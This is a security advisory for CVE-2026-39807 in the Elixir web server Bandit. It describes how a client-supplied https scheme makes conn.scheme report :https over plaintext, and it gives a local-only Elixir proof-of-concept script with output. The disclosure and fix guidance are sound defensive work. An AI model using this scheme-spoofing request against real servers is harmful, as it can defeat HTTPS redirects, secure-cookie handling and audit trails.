CVE-2026-39807

Bandit reflects the client-supplied URI scheme into conn.scheme without verifying the actual transport. Over a plaintext HTTP/1.1 connection (or h2c), an unauthenticated attacker can send an absolute-form request target like GET https://victim/path HTTP/1.1 and the application observes conn.scheme = :https even though no TLS was negotiated. Any downstream Plug logic that trusts conn.scheme as a security signal, Plug.SSL's "already secure, don't redirect" branch, secure: true cookie flagging, audit logging, CSRF/SameSite gating, is silently misled into treating an attacker's plaintext connection as encrypted.

The vulnerability was introduced on Jun 8, 2023: https://github.com/mtrudel/bandit/commit/ff2f829326cd5dcf7335939aef9775269d881e28

Details

The bug is in lib/bandit/pipeline.ex at determine_scheme/2 (around line 89). The function takes the request target's scheme and the transport's secure? flag and produces the URI scheme used to build the %Plug.Conn{}. The third match clause is {_, scheme} -> scheme, i.e. whenever the client supplies any scheme on the request target, the function returns that scheme verbatim and discards secure? entirely.

Two attacker-controlled inputs reach this code path:

• HTTP/1.1 absolute-form request targets (RFC 9112 §3.2.2), e.g. GET https://victim/path HTTP/1.1.
• HTTP/2 :scheme pseudo-header, which is a free-form string sent by the client.

Neither value is constrained to match the actual transport. On a plaintext TCP listener (or h2c), a client can declare https and Bandit will pass %URI{scheme: "https"} into Plug.Conn.Adapter.conn/5, producing conn.scheme == :https. There is no guard in determine_scheme/2; the discarding of secure? is deliberate.

Suggested fix: when secure? is true, force the scheme to "https"; when false, force it to "http", or reject the request with 400 Bad Request if the supplied scheme disagrees with the transport's actual security state. Do not trust the client-supplied scheme.

PoC

A self-contained reproduction script is available below. It starts plaintext Bandit 1.10 on 127.0.0.1:4321 with a Plug that echoes conn.scheme, opens a plain TCP socket, and sends:

GET https://127.0.0.1:4321/ HTTP/1.1
Host: 127.0.0.1:4321
Connection: close

A correctly-behaving server would either coerce conn.scheme to :http or return 400 Bad Request. Bandit 1.10.4 returns :https, confirming the spoof.

Script and Logs

# Bandit reflects the client-supplied scheme into conn.scheme.
#
# lib/bandit/pipeline.ex:89 (determine_scheme/2) returns whatever scheme
# appears on the request target, ignoring the `secure?` flag that records
# the actual transport state. HTTP/1.1 absolute-form request targets
# (e.g. `GET https://victim/path HTTP/1.1`) and HTTP/2 `:scheme` are both
# attacker-controlled strings that flow into this function. Over a
# plaintext connection, a client can claim `https` and Bandit hands a
# `%Plug.Conn{scheme: :https}` to the application, even though no TLS
# was negotiated.
#
# Downstream Plug consumers that branch on `conn.scheme` are misled:
# Plug.SSL's "already secure, don't redirect" path, `secure: true` cookie
# flagging, audit logs, CSRF/SameSite gating, etc.
#
# This script starts plaintext Bandit 1.10 on 127.0.0.1:4321, sends one
# HTTP/1.1 absolute-form request with scheme `https://`, and prints the
# `conn.scheme` the application observes. A fixed server should report
# `:http` (or reject the request); the buggy server reports `:https`.
#
# Run: elixir scripts/bandit/http1_scheme_spoofing.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"}
])

defmodule SchemeApp do
  @behaviour Plug
  def init(opts), do: opts

  def call(conn, _opts) do
    body = "This is what the Plug sees: conn.scheme=#{inspect(conn.scheme)}\n"
    Plug.Conn.send_resp(conn, 200, body)
  end
end

defmodule SchemeSpoof do
  @port 4321

  def run do
    {:ok, _} = Bandit.start_link(plug: SchemeApp, ip: {127, 0, 0, 1}, port: @port)

    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])

    # Absolute-form request target with scheme "https" over a plaintext
    # TCP connection. RFC 9112 §3.2.2 allows absolute-form on any request;
    # nothing about it implies the connection is TLS.
    request =
      "GET https://127.0.0.1:#{@port}/ HTTP/1.1\r\n" <>
        "Host: 127.0.0.1:#{@port}\r\n" <>
        "Connection: close\r\n" <>
        "\r\n"

    log("Sending plaintext HTTP/1.1 request with absolute-form target `https://…/`.")
    :ok = :gen_tcp.send(sock, request)

    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)
    :gen_tcp.close(sock)

    log("Server response:")
    IO.puts(response)

    cond do
      response =~ "conn.scheme=:https" ->
        log("VULNERABLE, application sees conn.scheme = :https on a plaintext socket.")
        log("Plug.SSL's `already-secure` branch, `secure: true` cookies, etc. would all trust this.")

      response =~ "conn.scheme=:http" ->
        log("Server forced scheme to :http, bug appears patched.")

      true ->
        log("Unexpected response shape.")
    end
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

SchemeSpoof.run()

12:53:25.297 [info] Running SchemeApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[10:53:25.305] Sending plaintext HTTP/1.1 request with absolute-form target `https://…/`.
[10:53:25.316] Server response:
HTTP/1.1 200 OK
date: Tue, 28 Apr 2026 10:53:25 GMT
content-length: 47
vary: accept-encoding
cache-control: max-age=0, private, must-revalidate

This is what the Plug sees: conn.scheme=:https

[10:53:25.316] VULNERABLE, application sees conn.scheme = :https on a plaintext socket.
[10:53:25.316] Plug.SSL's `already-secure` branch, `secure: true` cookies, etc. would all trust this.